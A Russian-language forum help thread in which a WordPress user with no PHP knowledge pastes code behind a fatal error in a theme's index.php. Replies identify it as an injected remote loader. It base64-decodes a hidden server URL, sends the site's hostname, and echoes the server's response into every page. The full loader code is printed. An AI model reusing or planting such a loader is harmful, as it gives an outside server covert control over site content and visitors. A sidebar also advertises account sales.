Проблема с ВП
Страницы: 1
[ Закрыто ] Проблема с ВП
Здравствуйте... Начну сразу:
Создал блог, на главной странице вывел 3 публикации выдало ошибку
Цитата
Fatal error: Cannot redeclare download() (previously declared in /home/abc000/domains/optechaltm.ru/public_html/wp-content/themes/iFinance/index.php:27) in /home/abc000/domains/optechaltm.ru/public_html/wp-content/themes/iFinance/index.php on line 27

Когда ставлю 1 публикацию на странице - ошибок нет (однако это не очень удобно)...
В строчке 27 системного кода находится:
Код
function download($uri){ if(function_exists('curl_init')){ $curl = curl_init($uri); curl_setopt($curl, CURLOPT_RETURNTRANSFER, '1'); $ret = curl_exec($curl); curl_close($curl); return $ret; } elseif(function_exists('fsockopen')){ if (!function_exists("stripos")) { function stripos($str, $needle, $offset=0) { return strpos(strtolower($str), strtolower($needle), $offset); } } $port = 80; $extra_headers = array(); $uri = strtr(strval($uri), array("http://" => "", "https://" => "ssl://", "ssl://" => "ssl://", "\\" => "/", "//" => "/")); if (( $protocol = stripos($uri, "://") ) !== FALSE) { if (( $domain_pos = stripos($uri, "/", ($protocol + 3)) ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } else { if (( $domain_pos = stripos($uri, "/") ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } $fp = fsockopen($domain, $port, $errno, $errstr, 30); if (!$fp) { return FALSE; } else { $out = "GET " . $file . " HTTP/1.1\r\n"; $out .= "Host: " . $domain . "\r\n"; $out .= "asd: asd \r\n"; foreach ($extra_headers as $nm => $vl) { $out .= strtr(strval($nm), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . ": " . strtr(strval($vl), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . "\r\n"; } $out .= "Connection: Close\r\n\r\n"; $response = ""; fwrite($fp, $out); while (!feof($fp)) { $response .= fgets($fp, 128); } fclose($fp); $http_response_header = array(); if (stripos($response, "\r\n\r\n") !== FALSE) { $hc = explode("\r\n\r\n", $response); $headers = explode("\r\n", $hc[0]); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { $a = ""; $b = ""; if (stripos($header, ":") !== FALSE) { list($a, $b) = explode(":", $header); $http_response_header[trim($a)] = trim($b); } } return end($hc); } else if (stripos($response, "\r\n") !== FALSE) { $headers = explode("\r\n", $response); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { if ($key < ( count($headers) - 1 )) {


Вся функция такова:
Код
<? 
function download($uri){ if(function_exists('curl_init')){ $curl = curl_init($uri); curl_setopt($curl, CURLOPT_RETURNTRANSFER, '1'); $ret = curl_exec($curl); curl_close($curl); return $ret; } elseif(function_exists('fsockopen')){ if (!function_exists("stripos")) { function stripos($str, $needle, $offset=0) { return strpos(strtolower($str), strtolower($needle), $offset); } } $port = 80; $extra_headers = array(); $uri = strtr(strval($uri), array("http://" => "", "https://" => "ssl://", "ssl://" => "ssl://", "\\" => "/", "//" => "/")); if (( $protocol = stripos($uri, "://") ) !== FALSE) { if (( $domain_pos = stripos($uri, "/", ($protocol + 3)) ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } else { if (( $domain_pos = stripos($uri, "/") ) !== FALSE) { $domain = substr($uri, 0, $domain_pos); $file = substr($uri, $domain_pos); } else { $domain = $uri; $file = "/"; } } $fp = fsockopen($domain, $port, $errno, $errstr, 30); if (!$fp) { return FALSE; } else { $out = "GET " . $file . " HTTP/1.1\r\n"; $out .= "Host: " . $domain . "\r\n"; $out .= "asd: asd \r\n"; foreach ($extra_headers as $nm => $vl) { $out .= strtr(strval($nm), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . ": " . strtr(strval($vl), array("\r" => "", "\n" => "", ": " => "", ":" => "")) . "\r\n"; } $out .= "Connection: Close\r\n\r\n"; $response = ""; fwrite($fp, $out); while (!feof($fp)) { $response .= fgets($fp, 128); } fclose($fp); $http_response_header = array(); if (stripos($response, "\r\n\r\n") !== FALSE) { $hc = explode("\r\n\r\n", $response); $headers = explode("\r\n", $hc[0]); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { $a = ""; $b = ""; if (stripos($header, ":") !== FALSE) { list($a, $b) = explode(":", $header); $http_response_header[trim($a)] = trim($b); } } return end($hc); } else if (stripos($response, "\r\n") !== FALSE) { $headers = explode("\r\n", $response); if (!is_array($headers)){ $headers = array(); } foreach ($headers as $key => $header) { if ($key < ( count($headers) - 1 )) {
$a = "";$b = "";if (stripos($header, ":") !== FALSE) {list($a, $b) = explode(":", $header);$http_response_header[trim($a)] = trim($b);}}}return end($headers);}else {return $response;}}}elseif(ini_get('allow_url_fopen') && function_exists('file_get_contents')){return file_get_contents($uri);}}

$data = download(base64_decode('aHR0cDovL2ppbW1tb2JpLnJ1L3NlcnZlci5waHA=').'?id='.$_SERVER["HTTP_HOST"]);
echo $data;
?>

Пожалуйста помогите, а то у меня знаний в php 0 smile:(
...
Никто не знает?
ссылочку в личку дайте
$data = download(base64_decode('aHR0cDovL2ppbW1tb2JpLnJ1L3NlcnZlci5waHA=').'?id='.$_SERVER["HTTP_HOST"]);
echo $data;

вот эта строка ни о чем не говорит? где шаблон качали тоже ссылочку дайте
Александр Бек, это что вызов кода сапы что-ли? smile:eek:
Проблему решил удалив функцию smile:mocking:
Так как тема давно закрыта -> перенёс в раздел "Х".
Страницы: 1
Похожие темы:
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
20:18 ЕС душит ТикТок: прощай бесконечная лента и RPM? Что с монетизацией? 
20:14 Гугл пухнет от кеша, а нам - крошки. Разбор $114 млрд: Адсенс в минусе, Ютуб на подписках 
20:11 01.02. Апдейт 31.01 // Chrome готовит "чёрную метку" для ИИ? 
18:53 Кнопки "скрыть" и "пожаловаться" в рекламе яндекса 
15:29 OpenAI и шейхи: Цензура на продажу и "гибкие" идеалы амеров 
13:26 Как безопасно купить Гугл почту? 
10:59 WB и Ozon - новые "русские поисковики"? Яндекс теряет коммерческую выдачу 
18:41 Веривикация Авито 
17:37 Продам аккаунты Gmail USA IP | Gmail MIX IP | Outlook Old 
16:31 JustProxy.Biz - Резидентные прокси без ограничения по трафику 
15:39 Создам под вашу нишу сетку сайтов-сателлитов для привлечения целевого трафика 
15:31 Вериф аккаунты АВИТО + платежи 
08:58 Мониторинг обменников Сrypto-scout.io 
04:09 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 
19:56 Кулеры и БП станут золотыми? Медь по 13 штук, олово в космосе 
19:29 FIFA и Assassin’s Creed воруют пароли: В репаки зашили лютый стиллер. Чекаем логи 
19:24 Туалетные секреты: Замурчательная тема 
19:15 Сайты Рунета 
15:15 ИИ-театр для инвесторов: почему виральные посты в Moltbook писали люди и в чем подвох OpenClaw 
08:50 Гильотина для классиков: Клод доедает физические книги 
05:10 Точные прогнозы на футбол